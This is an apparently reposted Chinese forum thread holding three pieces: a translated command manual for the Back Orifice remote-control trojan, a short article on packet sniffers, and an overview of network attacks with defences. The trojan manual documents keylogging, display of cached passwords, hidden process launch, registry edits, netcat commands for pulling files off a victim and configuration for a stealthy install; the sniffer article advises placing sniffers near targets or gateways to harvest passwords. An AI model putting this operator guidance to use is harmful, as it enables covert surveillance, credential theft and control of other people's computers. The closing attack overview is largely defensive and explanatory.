以下是在现在版本的Back Orifice中已经实现的命令。在基于图形和基于文本的BO客户机里有些命令名称不相同,但几乎所有命令的语法格式都是一致的。在基于文本的BO客户机中输入 "help command"可得到更多关于命令的信息。在基于图形的BO客户机中有两个参数输入区域,这些参数作为在"Command"列表中所选择的命令的参数。如果未给出命令所需要的参数,BO服务器将返回"Missing data"(丢失数据)。Back Orifice命令如下:

(基于图形的BO客户机命令/基于文本的BO客户机命令)

App add/appadd
在TCP端口输出一个基于文本的应用程序。它允许你通过Telnet对话控制基于文本或
DOS的应用程序。

App del/appdel
从监听的连接中关闭一个应用程序。

Apps list/applist
列出当前监听的连接中的应用程序。

Directory create/md
创建目录

Directory list/dir
列出文件和目录。如要显示多文件/目录则须使用通配符。

Directory remove/rd
删除目录

Export add/shareadd
在BO服务器上创建一个“出口”(共享)。被输出(共享)的目录或驱动器图标
不会出现共享图标。

Export delete/sharedel
删除一个(共享)“出口”。

Exports list/sharelist
列出当前共享名、共享驱动器、共享目录、共享权限和共享密码。

File copy/copy
拷贝文件。

File delete/del
删除文件。

File find/find
在目录中查找符合条件(支持通配符)的文件。

File freeze/freeze
压缩文件。

File melt/melt
解压缩文件。

File view/view
查看文件内容。

HTTP Disable/httpoff
使HTTP服务器失效。

HTTP Enable/httpon
使HTTP服务器有效。

Keylog begin/keylog
将BO服务器上的击键记录在一个文本文件中,同时还记录执行输入的窗口名。

Keylog end
停止击键记录。基于文本的BO客户机使用"keylog stop"命令。

MM Capture avi/capavi
从视频输入设备(如果存在)捕捉视频和音频信号到avi文件中。

MM Capture frame/capframe
从视频输入设备捕捉一个视频帧到一个位图文件中。

MM Capture screen/capscreen
捕捉BO服务器屏幕影像到一们位图文件中。

MM List capture devices/listcaps
列出视频输入设备。

MM Play sound/sound
在BO服务器上播放一个avi文件。

Net connections/netlist
列出当前接入和接出的连接。

Net delete/netdisconnect
断开BO服务器的一个网络资源连接。

Net use/netconnect
把BO服务器连接到一个网络资源。

Net view/netview
查看BO服务器上所有的网络接口、域名、服务器和可见的共享“出口”。

Ping host/ping
Ping主机。返回主机名和BO版本。


Plugin execute/pluginexec
运行BO插件。运行不符合BO插件接口的函数可能使B)服务器当机。

Plugin kill/pluginkill
命令一个插件关闭。

Plugins list/pluginlist
列出当前激活的插件和已存在的插件返回值。

Process kill/prockill
终止一个进程。

Process list/proclist

列出运行中的进程。

Process spawn/procspawn
运行一个程序。在基于图形的BO客户机程序中,如果需要确定第二个参数,进程可能以一个正常的、可见的方式运行,否则进程的运行将是隐蔽或独立的。

Redir add/rediradd
重定向接入的TCP连接或UDP数据包到另一个IP地址。

Redir del/redirdel
停止端口重定向。

Redir list/redirlist
列出激活的端口重定向。

Reg create key/regmakekey
在注册表中创建中一个主键。
注:对于所有的注册表命令,不要在注册表键值前加入前导"\\"。

Reg delete key/regdelkey
从注册表中删除一个主键。

Reg delete value/regdelval
删除注册表中的一个键值。

Reg list keys/reglistkeys
列出注册表中一个主键下的子键。

Reg list values/reglistvals
列出注册表中一个主键的键值。

Reg set value/regsetval
设置注册表一个主键的一个键值。键值格式为“类型,值”。对于二进制值(类型为B),值是一个两位的16进制数;对于DWORD(双字)值(类型为D),值是一个十进制数;对于字符串值(类型为S),值是一个文本串。

Resolve host/resolve
解析BO服务器的主机名的IP地址。主机名可能是一个Internet主机名或本地网络机器名。

System dialogbox/dialog
用所给出的文本和一个"OK"按钮,在BO服务器上创建一个对话框。可以创建任意多的对话框,对话框的显示是堆叠式的。

System info/info
显示BO服务器上的系统信息。包括机器名、当前用户、CPU类型、内存容量及可用内存、Windows版本、驱动器信息(类型(硬盘、CDROM、可拆卸型、远程驱动器)、硬盘驱动器容量及未使用空间)。

System lockup/lockup
锁住BO服务器机器。

System passwords/passes
显示被缓存的当前用户密码和屏幕保护密码。所显示的密码中可能含有一些无用信息。(译者注:如果密码未被系统缓存,则不能显示密码。)

System reboot/reboot

关闭BO服务器主机并重启动。

TCP file receive/tcprecv
将BO服务器主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中。

TCP file send/tcpsend
将BO服务器主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接。
注:对于TCP文件传输,必须监听特定的IP地址和端口,直到TCP文件命令被发送,否则传输将会失败。

从BO服务器传输文件,可使用TCP文件发送命令和如下格式的netcat命令:

netcat -l -p 666 > file

传输文件到BO服务器,可使用TCP文件接收命令和如下格式的netcat命令:

netcat -l -p 666 < file

注:Win32版本的netcat命令在到达输入文件末部时并不断开连接。因此应在文件内容传输完毕后用ctrl-c或ctrl-break终止netcat命令。


BOConfig:
BOConfig.exe允许在BO服务器安装前配置一些可选项。首先询问BO服务器在系统目录中安装的可执行文件名。它不一定是.exe,但如果你不给出扩展名,它不会自动添加.exe扩展名;接着询问exe文件的描述,它描述了在注册表中记录的、系统启动时运行的exe文件;接着询问BO服务器监听(数据包)端口;接着询问用于加密的密码。要实现BO客户机到BO服务器的通讯,客户机必须配置有相同的密码,此密码可以为空;接着询问启动时缺省运行的插件。这个在BO服务器启动时自动运行的BO插件是以"DLL:_Function"格式定义的DLL和函数。此项可以为空;然后让你输入启动时传送给插件的参数,此项也可以为空;最后,询问被附加到BO服务器上的文件的路径。该文件将在BO服务器启动时写入系统目录。此文件可以是一个自动启动的BO插件。

BO服务器在没有进行配置时也能运行。缺省地,安装BO服务器文件名为" .exe",无密码,使用端口31337通讯。

已知的Bugs和问题:

多媒体捕捉屏幕——所产生的位图是按BO服务器端的显示分辨率和像素深度保存的。因此,它可能是16位或24位颜色的。大多数图形应用程序只能处理8位或32位位图,因而不能打开此位图,或者显示不正常(此类软件包括Graphics Workshop for Windows、Photoshop和WANG Imaging distributed with Windows)。但是,Windows本身有一个应用程序Paint.exe可以浏览这些位图,按其提示操作即可。击键记录——很显然,MS-DOS窗口未提供信息循环机制,这就使得BO无法记录输入到其中的击键。

基于文本的应用程序的TCP重定向——有几个Bugs。
当用command.com的重定向名柄输出command.com时,系统同时输出REDIR32.EXE,此程序似乎是无法终止的。这可能是由于操作系统接口与一个tsr模块(该模块在DOS对话中被装载以重定向输入/输出句柄)通讯所造成的。因此,如果在应用程序被终止(或退出)前终止TCP连接,REDIR32.exe和WINOA386.MOD(用于封装管理旧16位应用程序)将仍然运行,BO和操作系统均无法终止它们。这会导致系统显示"Please wait..."(请等待)屏幕且无法关机。某些控制台应用程序重定向了输出时也可能会发生问题,如FTP.exe和boclient.exe。虽然程序的输出因此而不能传送出去,但仍然可能传送输入,所以你要通过TCP对话使该
程序退出。否则使用BO杀死该进程。

Microsoft, Windows, Windows 95, Windows 98, and Windows NT are all
registered
trademarks of the Microsoft Corporation.
Back Orifice (BO) 插件接口文档

只要以如下格式创建一个DLL(动态链接库),就可以制作你自己的Back Orifice (以下简称BO)插件:

char *YourFunc(int *active, char *args)

Plugin插件执行命令允许你指定一个格式为"dll:_Function"的DLL和函数。*args参数是用于接收传送到该函数的参数。你的应用程序所需要做的唯一一件事情就是监视active所指向的整数值。如果该值为0,表示
用户正要求插件退出,此时你的函数应在执行了任何必须的关闭动作后,尽可能迅速地返回(退出)。你的程序还应该返回NULL,或者一个指向应显示给用户的文本信息的静态缓冲区指针。这个DLL只会在缓冲区中的文本被拷贝后才会卸载。

以上就是所要做的一切。本文所有权属作者属有!如要转载请保持文章的完整性!

一光年的距离 2009-04-23 18:07
嗅  探  器

就是能够捕获网络报文的设备。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。例如,假设网络的某一段运行得不是很好,报文的发送比较慢,而我们又不知道问题出在什么地方,此时就可以用嗅探器来作出精确的问题判断。

嗅探器在功能和设计方面有很多不同。有些只能分析一种协议,而另一些可能能够分析几百种协议。一般情况下,大多数的嗅探器至少能够分析下面的协议:

■标准以太网  ■TCP/IP  ■IPX    ■DECNet

嗅探器通常是软硬件的结合。专用的嗅探器价格非常昂贵。另一方面,免费的嗅探器虽然不需要花什么钱,但得不到什么支持。

嗅探器与一般的键盘捕获程序不同。键盘捕获程序捕获在终端上输入的键值,而嗅探器则捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的——例如将以太网卡设置成杂收模式。(为了理解杂收模式是怎么回事,先解释局域网是怎么工作的)。

数据在网络上是以很小的称为帧(Ftame)的单位传输的帧由好几部分组成,不同的部分执行不同的功能。(例如,以太网的前12个字节存放的是源和目的的地址,这些位告诉网络:数据的来源和去处。以太网帧的其他部分存放实际的用户数据、TCP/IP的报文头或IPX报文头等等)。

帧通过特定的称为网络驱动程序的软件进行成型,然后通过网卡发送到网线上。通过网线到达它们的目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧,并告诉操作系统帧的到达,然后对其进行存储。就是在这个传输和接收的过程中,嗅探器会造成安全方面的问题。

每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器(这一点于Internet地址系统比较相似)。当用户发送一个报文时,这些报文就会发送到LAN上所有可用的机器。

在一般情况下,网络上所有的机器都可以“听”到通过的流量,但对不属于自己的报文则不予响应(换句话说,工作站A不会捕获属于工作站B的数据,而是简单的忽略这些数据)。

如果某在工作站的网络接口处于杂收模式,那么它就可以捕获网络上所有的报文和帧,如果一个工作站被配置成这样的方式,它(包括其软件)就是一个嗅探器。

嗅探器可能造成的危害:

■嗅探器能够捕获口令

■能够捕获专用的或者机密的信息

■可以用来危害网络邻居的安全,或者用来获取更高级别的访问权限

事实上,如果你在网络上存在非授权的嗅探器就以为着你的系统已经暴露在别人面前了。(大家可以试试天行2的嗅探功能)

一般我们只嗅探每个报文的前200到300个字节。用户名和口令都包含在这一部分中,这是我们关心的真正部分。工人,也可以嗅探给定接口上的所有报文,如果有足够的空间进行存储,有足够的那里进行处理的话,将会发现另一些非常有趣的东西……

简单的放置一个嗅探器宾将其放到随便什么地方将不会起到什么作用。将嗅探器放置于被攻击机器或网络附近,这样将捕获到很多口令,还有一个比较好的方法就是放在网关上。如果这样的话就能捕获网络和其他网络进行身份鉴别的过程。这样的方式将成倍地增加我们能够攻击的范围。

关于怎么抵御嗅探器的攻击我就不说了,那是网管们的事儿,有三种方法可能会有所作用:

■检测和消灭嗅探器

■将数据隐藏,使嗅探器无法发现。

■会话加密                                                              

一光年的距离 2009-04-23 18:07
网络攻击概览

原文: Matthew strebe  整理:Morrison

1、服务拒绝攻击
服务拒绝攻击企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务,服务拒绝攻击是最容易实施的攻击行为,主要包括:

死亡之ping (ping of death)
概览:由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。

防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows98之后的windows,NT(service
pack 3之后),linux、Solaris、和Mac OS都具有抵抗一般ping of
death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。

泪滴(teardrop)
概览:泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括service
pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
防御:服务器应用最新的服务包,或者在设置防火墙时对分段进行重组,而不是转发它们。

UDP洪水(UDP flood)
概览:各种各样的假冒攻击利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,如果足够多的数据流就会导致带宽的服务攻击。

防御:关掉不必要的TCP/IP服务,或者对防火墙进行配置阻断来自Internet的请求这些服务的UDP请求。

SYN洪水(SYN flood)
概览:一些TCP/IP栈的实现只能等待从有限数量的计算机发来的ACK消息,因为他们只有有限的内存缓冲区用于创建连接,如果这一缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接停止响应,直到缓冲区里的连接企图超时。在一些创建连接不受限制的实现里,SYN洪水具有类似的影响。

防御:在防火墙上过滤来自同一主机的后续连接。
未来的SYN洪水令人担忧,由于释放洪水的并不寻求响应,所以无法从一个简单高容量的传输中鉴别出来。

Land攻击
概览:在Land攻击中,一个特别打造的SYN包它的原地址和目标地址都被设置成某一个服务器地址,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时掉,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续五分钟)。

防御:打最新的补丁,或者在防火墙进行配置,将那些在外部接口上入站的含有内部源地址滤掉。(包括
10域、127域、192.168域、172.16到172.31域)

Smurf攻击
概览:一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比ping
of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。
防御:为了防止黑客利用你的网络攻击他人,关闭外部路由器或防火墙的广播地址特性。为防止被攻击,在防火墙上设置规则,丢弃掉ICMP包。

Fraggle攻击
概览:Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP
防御:在防火墙上过滤掉UDP应答消息

电子邮件炸弹
概览:电子邮件炸弹是最古老的匿名攻击之一,通过设置一台机器不断的大量的向同一地址发送电子邮件,攻击者能够耗尽接受者网络的带宽。
防御:对邮件地址进行配置,自动删除来自同一主机的过量或重复的消息。

畸形消息攻击
概览:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进行适当正确的错误校验,在收到畸形的信息可能会崩溃。
防御:打最新的服务补丁。

2、利用型攻击

利用型攻击是一类试图直接对你的机器进行控制的攻击,最常见的有三种:

口令猜测
概览:一旦黑客识别了一台主机而且发现了基于NetBIOS、Telnet或NFS这样的服务的可利用的用户帐号,成功的口令猜测能提供对机器的控制。
防御:要选用难以猜测的口令,比如词和标点符号的组合。确保像NFS、NetBIOS和Telnet这样可利用的服务不暴露在公共范围。如果该服务支持锁定策略,就进行锁定。

特洛伊木马
概览:特洛伊木马是一种或是直接由一个黑客,或是通过一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限,安装此程序的人就可以直接远程控制目标系统。最有效的一种叫做后门程序,恶意程序包括:NetBus、BackOrifice和BO2k,用于控制系统的良性程序如:netcat、VNC、pcAnywhere。理想的后门程序透明运行。

防御:避免下载可疑程序并拒绝执行,运用网络扫描软件定期监视内部主机上的监听TCP服务。

缓冲区溢出
概览:由于在很多的服务程序中大意的程序员使用象strcpy(),strcat()类似的不进行有效位检查的函数,最终可能导致恶意用户编写一小段利用程序来进一步打开安全豁口然后将该代码缀在缓冲区有效载荷末尾,这样当发生缓冲区溢出时,返回指针指向恶意代码,这样系统的控制权就会被夺取。

防御:利用SafeLib、tripwire这样的程序保护系统,或者浏览最新的安全公告不断更新操作系统。

3、信息收集型攻击

信息收集型攻击并不对目标本身造成危害,如名所示这类攻击被用来为进一步入侵提供有用的信息。主要包括:扫描技术、体系结构刺探、利用信息服务

扫描技术

地址扫描
概览:运用ping这样的程序探测目标地址,对此作出响应的表示其存在。
防御:在防火墙上过滤掉ICMP应答消息。

端口扫描
概览:通常使用一些软件,向大范围的主机连接一系列的TCP端口,扫描软件报告它成功的建立了连接的主机所开的端口。
防御:许多防火墙能检测到是否被扫描,并自动阻断扫描企图。


反响映射
概览:黑客向主机发送虚假消息,然后根据返回“host
unreachable”这一消息特征判断出哪些主机是存在的。目前由于正常的扫描活动容易被防火墙侦测到,黑客转而使用不会触发防火墙规则的常见消息类型,这些类型包括:RESET消息、SYN-ACK消息、DNS响应包。

防御:NAT和非路由代理服务器能够自动抵御此类攻击,也可以在防火墙上过滤“host unreachable”ICMP应答。

慢速扫描
概览:由于一般扫描侦测器的实现是通过监视某个时间桢里一台特定主机发起的连接的数目(例如每秒10次)来决定是否在被扫描,这样黑客可以通过使用扫描速度慢一些的扫描软件进行扫描。

防御:通过引诱服务来对慢速扫描进行侦测。

体系结构探测
概览:黑客使用具有已知响应类型的数据库的自动工具,对来自目标主机的、对坏数据包传送所作出的响应进行检查。由于每种操作系统都有其独特的响应方法(例NT和Solaris的TCP/IP堆栈具体实现有所不同),通过将此独特的响应与数据库中的已知响应进行对比,黑客经常能够确定出目标主机所运行的操作系统。

防御:去掉或修改各种Banner,包括操作系统和各种应用服务的,阻断用于识别的端口扰乱对方的攻击计划。

利用信息服务

DNS域转换
概览:DNS协议不对转换或信息性的更新进行身份认证,这使得该协议被人以一些不同的方式加以利用。如果你维护着一台公共的DNS服务器,黑客只需实施一次域转换操作就能得到你所有主机的名称以及内部IP地址。

防御:在防火墙处过滤掉域转换请求。

Finger服务
概览:黑客使用finger命令来刺探一台finger服务器以获取关于该系统的用户的信息。
防御:关闭finger服务并记录尝试连接该服务的对方IP地址,或者在防火墙上进行过滤。

LDAP服务
概览:黑客使用LDAP协议窥探网络内部的系统和它们的用户的信息。
防御:对于刺探内部网络的LDAP进行阻断并记录,如果在公共机器上提供LDAP服务,那么应把LDAP服务器放入DMZ。

4、假消息攻击

用于攻击目标配置不正确的消息,主要包括:DNS高速缓存污染、伪造电子邮件。

DNS高速缓存污染
概览:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得黑客可以将不正确的信息掺进来并把用户引向黑客自己的主机。
防御:在防火墙上过滤入站的DNS更新,外部DNS服务器不应能更改你的内部服务器对内部机器的认识。

伪造电子邮件
概览:由于SMTP并不对邮件的发送者的身份进行鉴定,因此黑客可以对你的内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附带上可安装的特洛伊木马程序,或者是一个引向恶意网站的连接。

防御:使用PGP等安全工具并安装电子邮件证书。

                                                                          


查看完整版本: [-- 技术文集(推荐)   --] [-- top --]



Powered by phpwind v8.7 Code ©2003-2011 phpwind
Gzip enabled